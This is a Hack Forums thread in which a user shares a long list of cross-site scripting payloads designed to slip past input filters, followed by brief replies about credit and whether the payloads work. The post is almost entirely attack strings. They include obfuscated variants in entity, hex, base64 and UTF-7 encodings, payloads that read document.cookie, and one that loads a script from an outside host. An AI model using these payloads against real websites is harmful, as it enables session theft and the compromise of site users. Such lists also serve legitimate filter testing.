

Forum:[Hack Forums](#)

Thread: [XSS Filter Bypass List #1 \[SHARE\]](#)

Nyctos - August 3, 2017, 11:47 pm

```
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

```
";!--"<XSS>=&{()}
```

```
0"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
```

```
<script/src=data:,alert()>
```

```
<marquee/onstart=alert()>
```

```
<video/poster/onerror=alert()>
```

```
<isindex/autofocus/onfocus=alert()>
```

```
<IMG SRC="javascript:alert('XSS');">
```

```
<IMG SRC=javascript:alert('XSS')>
```

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

```
<IMG SRC=javascript:alert("XSS")>
```

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

```
<a onmouseover=alert(document.cookie)">xss link</a>
```

```
<a onmouseover=alert(document.cookie)">xss link</a>
```

```
<IMG """"><SCRIPT>alert("XSS")</SCRIPT>">
```

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

```
<IMG SRC=# onmouseover="alert('xss')">
```

```
<IMG SRC= onmouseover="alert('xss')">
```

```
<IMG onmouseover="alert('xss')">
```

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

```
<IMG SRC=javascript:alert('XSS')>
```

```
<IMG
```

```
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000105&#0000109&#0000112&#0000116&#0000058&#0000097&
```

```
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
```

```
<IMG
```

```
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

```
<IMG SRC="jav ascript:alert('XSS');">
```

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

```
<IMG SRC=" javascript:alert('XSS');">
```

```
<SCRIPT/XSS SRC=""></SCRIPT>
```

```
<BODY onload!#$%&()*~+-_.,:;?@[/\]^`=alert("XSS")>
```

```
<SCRIPT/SRC=""></SCRIPT>
```

```
<<SCRIPT>alert("XSS");//<</SCRIPT>
```

```
<SCRIPT SRC=//ha.ckers.org/.j>
```

<IMG SRC="javascript:alert('XSS')"

\";alert('XSS');//

</script><script>alert('XSS');</script>

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODY BACKGROUND="javascript:alert('XSS')">

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE>XSS</br>

<BODY ONLOAD=alert('XSS')>

<BGSOUND SRC="javascript:alert('XSS');">

<BR SIZE="&{alert('XSS')}">

<STYLE>@im\port\ja\vasc\ript:alert("XSS");</STYLE>

exp/*<A STYLE='no\xss:noxss("*/")';

xss:ex/*XSS*//*/pression(alert("XSS"))'>

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')");}</STYLE>

<XSS STYLE="xss:expression(alert('XSS'))">

<XSS STYLE="behavior: url(xss.htc);">

¼script¾alert(¢XSS¢)¼/script¾

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html

base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

<TABLE BACKGROUND="javascript:alert('XSS')">

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV

STYLE="background-image:\0075\0072\006C\0028\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029\0029">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="width: expression(alert('XSS'));">

<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->

<BASE HREF="javascript:alert('XSS');//">

<? echo('<SCR');echo('IPT>alert("XSS")</SCRIPT>'); ?>

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">

</HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

```

0\ autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/XSS/)//
#"><img src=M onerror=alert('XSS');>
element[attribute='<img src=x onerror=alert('XSS');>
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
%22;alert%28%27RVRSH3LL_XSS%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
">><marquee><img src=x
onerror=confirm(1)></marquee>"></plaintext\></\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/)
type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>">

```

Sources:OWASP,Break The Security,Github,

Vana - August 3, 2017, 11:49 pm

At least credit the source...

<https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec>

Nyctos - August 3, 2017, 11:51 pm

I tried,I cant post links yet,so I put the sources below. I'm sorry

But thanks for posting them ?

sdk - August 3, 2017, 11:54 pm

Don't know if its my method of detecting XSS, but none of these got past. Good share tho I suppose.